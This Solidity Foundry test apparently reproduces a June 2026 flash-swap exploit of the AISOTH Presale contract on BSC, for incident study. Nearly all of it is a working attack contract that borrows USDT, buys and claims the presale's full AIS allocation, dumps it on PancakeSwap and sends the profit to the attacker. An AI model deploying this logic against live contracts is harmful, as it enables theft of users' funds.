src/test/2026-06/AISOTHPresale_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 30,314.76 USDT
8// Attacker : 0x627df72cc3fa38c475a414e65cdece09b2b177af
9// Attack Contract : 0x2078b0d64ede277d65bdf0272f64aef2a954deab
10// Vulnerable Contract : 0x796c5e8ca10010654dafaef096bd1f4a7ad87672
11// Victim : 0x9efb2e8ba06eb5981034f6e01350af041983e763
12// Attack Tx : https://bscscan.com/tx/0x11462984d7f5663db9cf95c07c6cd9ff91f5b2d6616268e8dd6a3013e190248c
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x796c5e8ca10010654dafaef096bd1f4a7ad87672#code
16 
17// @Analysis
18// Twitter Guy : https://x.com/audit_911/status/2063565495073415618
19//
20// The attacker flash-swapped USDT, bought the full claimable AIS balance from Presale, immediately claimed it,
21// sold the AIS into the AIS/USDT Pancake pair, repaid the flash swap, and forwarded the remaining USDT profit.
22 
23address constant ATTACKER = 0x627DF72cC3FA38C475A414e65CdECE09b2b177AF;
24address constant PRESALE = 0x796C5E8cA10010654DafAeF096bd1F4a7ad87672;
25address constant AIS = 0x67b6b8B8867e501385C95b843A23f9Bfe34811dB;
26address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
27address constant USDT_WBNB_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
28address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
29 
30interface IAISOTHPresale {
31    function price() external view returns (uint256);
32    function buy(
33        uint256 amount
34    ) external;
35    function claim() external;
36}
37 
38contract ContractTest is BaseTestWithBalanceLog {
39    function setUp() public {
40        uint256 forkBlock = 102_408_283;
41        vm.createSelectFork("bsc", forkBlock);
42        fundingToken = USDT_TOKEN;
43 
44        vm.label(ATTACKER, "Attacker EOA");
45        vm.label(PRESALE, "AISOTH Presale");
46        vm.label(AIS, "AISOTH");
47        vm.label(USDT_TOKEN, "USDT");
48        vm.label(USDT_WBNB_PAIR, "USDT/WBNB Pancake pair");
49        vm.label(PANCAKE_ROUTER, "Pancake router");
50    }
51 
52    function testExploit() public {
53        AISOTHPresaleExploit exploit = new AISOTHPresaleExploit(ATTACKER);
54 
55        uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
56        vm.prank(ATTACKER);
57        exploit.attack();
58 
59        uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;
60        logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");
61        assertGt(profit, 30_000 ether, "USDT profit");
62    }
63}
64 
65contract AISOTHPresaleExploit {
66    address private immutable profitReceiver;
67 
68    IERC20 private constant usdt = IERC20(USDT_TOKEN);
69    IERC20 private constant ais = IERC20(AIS);
70    IAISOTHPresale private constant presale = IAISOTHPresale(PRESALE);
71    IPancakePair private constant loanPair = IPancakePair(USDT_WBNB_PAIR);
72    IPancakeRouter private constant router = IPancakeRouter(PANCAKE_ROUTER);
73 
74    constructor(
75        address profitReceiver_
76    ) {
77        profitReceiver = profitReceiver_;
78    }
79 
80    function attack() external {
81        require(msg.sender == profitReceiver, "only receiver");
82 
83        // step 1: borrow enough USDT to buy the full AIS inventory available in Presale.
84        uint256 presaleAisBalance = ais.balanceOf(PRESALE);
85        uint256 borrowAmount = (presaleAisBalance * presale.price()) / 1e18;
86        loanPair.swap(borrowAmount, 0, address(this), bytes("1"));
87 
88        // step 6: after repaying the flash swap, forward the remaining USDT to the attacker EOA.
89        uint256 profit = usdt.balanceOf(address(this));
90        usdt.transfer(profitReceiver, profit);
91    }
92 
93    function pancakeCall(
94        address sender,
95        uint256 amount0,
96        uint256 amount1,
97        bytes calldata data
98    ) external {
99        require(msg.sender == USDT_WBNB_PAIR, "not loan pair");
100        require(sender == address(this), "bad sender");
101        require(amount0 > 0 && amount1 == 0 && data.length > 0, "bad loan");
102 
103        // step 2: buy Presale allocation with the flash-swapped USDT.
104        usdt.approve(PRESALE, amount0);
105        presale.buy(amount0);
106 
107        // step 3: immediately claim the AIS credited by buy().
108        presale.claim();
109 
110        // step 4: sell claimed AIS through the fee-on-transfer supporting Pancake router path.
111        uint256 aisBalance = ais.balanceOf(address(this));
112        ais.approve(PANCAKE_ROUTER, aisBalance);
113        address[] memory path = new address[](2);
114        path[0] = AIS;
115        path[1] = USDT_TOKEN;
116        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
117            aisBalance, 1, path, address(this), block.timestamp
118        );
119 
120        // step 5: repay the Pancake V2 flash swap with the 0.25% pair fee.
121        uint256 repayment = (amount0 * 10_000) / 9975 + 1;
122        usdt.transfer(USDT_WBNB_PAIR, repayment);
123    }
124}